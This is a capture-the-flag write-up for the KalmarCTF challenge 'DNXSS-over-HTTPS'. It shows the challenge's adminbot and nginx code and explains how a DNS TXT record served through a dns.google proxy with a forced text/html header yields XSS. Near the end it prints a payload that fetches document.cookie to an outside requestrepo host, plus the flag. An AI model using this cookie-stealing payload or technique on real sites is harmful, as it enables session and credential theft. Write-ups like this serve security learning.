Post

DNXSS-over-HTTPS

DNXSS-over-HTTPS

Description

Do you like DNS-over-HTTPS? Well, I’m proxying https://dns.google/! Would be cool if you can find an XSS!

Report to admin locally:

1
curl http://localhost:8008/report -H "Content-Type: application/json" -d '{"url":"http://proxy/"}'

Report to admin for the real flag:

1
curl https://dnxss.chal-kalmarc.tf/report -H "Content-Type: application/json" -d '{"url":"http://proxy/"}'

https://dnxss.chal-kalmarc.tf/

Solution

First Look

We are given the source code of the challenge. The main parts of the source code are the adminbot.js and nginx.conf files. The nginx.conf file contains the configuration for the Nginx server and the adminbot.js file contains the logic for the admin bot.

adminbot.js

We can see that the admin bot is a simple Express.js server that uses Puppeteer to visit a URL and set a cookie with the flag. The flag is stored in the FLAG environment variable and the domain is stored in the DOMAIN environment variable. The server listens on port 3000 and has a single endpoint /report that accepts a JSON object with a url field. There is also a condition that the URL should start with http://proxy/. This, in combination with the challenge name, suggests that we are dealing with a XSS challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const express = require('express');
const puppeteer = require('puppeteer');
const app = express();

const FLAG = process.env.FLAG || 'kalmar{test_flag}';
const DOMAIN = process.env.DOMAIN || 'http://proxy/';

app.use(express.json());

function sleep(ms) {
    return new Promise(res => setTimeout(res, ms));
}

async function visitUrl(url) {
  const browser = await puppeteer.launch({
    headless: 'new',
    args: ['--no-sandbox', '--disable-setuid-sandbox']
  });

  try {
    const page = await browser.newPage();

    // Set flag cookie
    await page.setCookie({
      name: 'flag',
      value: FLAG,
      domain: new URL(DOMAIN).hostname,
    });

    await page.goto(url, {
      waitUntil: 'networkidle0',
    });
    await sleep(1000);

  } catch (err) {
    console.error('Error visiting page:', err);
  } finally {
    await browser.close();
  }
}

app.post('/report', async (req, res) => {
  const { url } = req.body;
  
  if (!url || typeof url !== 'string' || !url.startsWith(DOMAIN)) {
    return res.status(400).json({ error: `Invalid URL. Url should be a string and start with ${DOMAIN}` });
  }

  try {
    await visitUrl(url);
    res.json({ success: true });
  } catch (err) {
    res.status(500).json({ error: 'Failed to visit URL' });
  }
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
  console.log(`Adminbot listening on port ${PORT}`);
});

nginx.conf

The Nginx configuration file is quite simple. It listens on port 80 and has two locations. The first location / proxies requests to https://dns.google/ and adds a Content-Type header with the value text/html. The second location /report proxies requests to the admin bot server running on http://adminbot:3000. It’s very interesting that it basically forces the content type to be text/html for all requests to the proxy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
events {
  worker_connections 1024;
}

http {
  server {
    listen 80;
        
    location / {
      proxy_pass https://dns.google;
      add_header Content-Type text/html always;
    }
    
    location /report {
      proxy_pass http://adminbot:3000;
    }
  }
}

dns.google

Let’s interact a bit with dns.google and also read the documentation to understand how it works. We can see that it’s a DNS-over-HTTPS service that allows us to resolve DNS queries over HTTPS.

alt text

So we have 2 choices here:

  • /dns-query
  • /resolve

Let’s proceed with the /resolve endpoint for now, since the documentation seems easier to understand.

/resolve Endpoint

Reading the documentation for the /resolve endpoint, we can see that it accepts a GET request with a number of query parameters.

The most interesting parameters for us are:

  • name
  • type
  • ct

alt text

alt text

Time to interact with the /resolve endpoint. We start by sending a request with the name parameter set to google.com

alt text

DNS records

What if we try to create a DNS record with a payload and then resolve it using the /resolve endpoint? Let’s try to create a TXT record with the payload <img src=X>.

We’ll be using requestrepo which is an open-source tool that allows us to do many things, including creating DNS records.

alt text

After creating the DNS record, we can resolve it by sending the following request:

alt text

Hmm interesting, we can see our payload in the response. Unfortunately, the < and > characters are escaped.

Digging Deeper

So far, we’ve used the name and type parameters. Let’s try to use the ct parameter. According to the documentation, the ct parameter is used to specify the content type of the response. We can set it to either application/x-javascript to get a JSON response(default) or application/dns-message to get a binary DNS message in the response.

Let’s try it.

alt text

Nice we can see our original paylaod in the response. Unfortunately, this will not trigger an XSS since the Content-Type is not text/html.

Last Piece of the Puzzle

Do you remember the Nginx configuration? It forces the Content-Type header to be text/html for all requests to the proxy. This means that we can trigger an XSS by creating a DNS record with the payload <img src=X onerror=alert(document.domain)> and resolving it using the /resolve endpoint with the ct parameter set to application/dns-message. The difference in our situation compared to the previous one is that the response will have the Content-Type header set to text/html and the payload will be executed. Let’s try it.

alt text

alt text

It worked.

Getting the Flag

Now that we have a working XSS payload, we can use it to steal the flag. We can create a DNS record with the payload given below and then send it to the admin bot server using the /report endpoint. The flag will be sent to our requestrepo webhook.

Modifying the Payload

Payload:

1
<img src=X onerror=fetch(`https://3md2h53d.requestrepo.com/?c=${document.cookie}`)>

Report to Admin

1
curl https://dnxss.chal-kalmarc.tf/report -H "Content-Type: application/json" -d '{"url":"http://proxy/resolve?name=marios.3md2h53d.requestrepo.com&type=txt&ct=application/dns-message"}'

alt text

alt text

Flag

The flag is kalmar{that_content_type_header_is_doing_some_heavy_lifting!_did_you_use_dns-query_or_resolve?}.

This post is licensed under CC BY 4.0 by the author.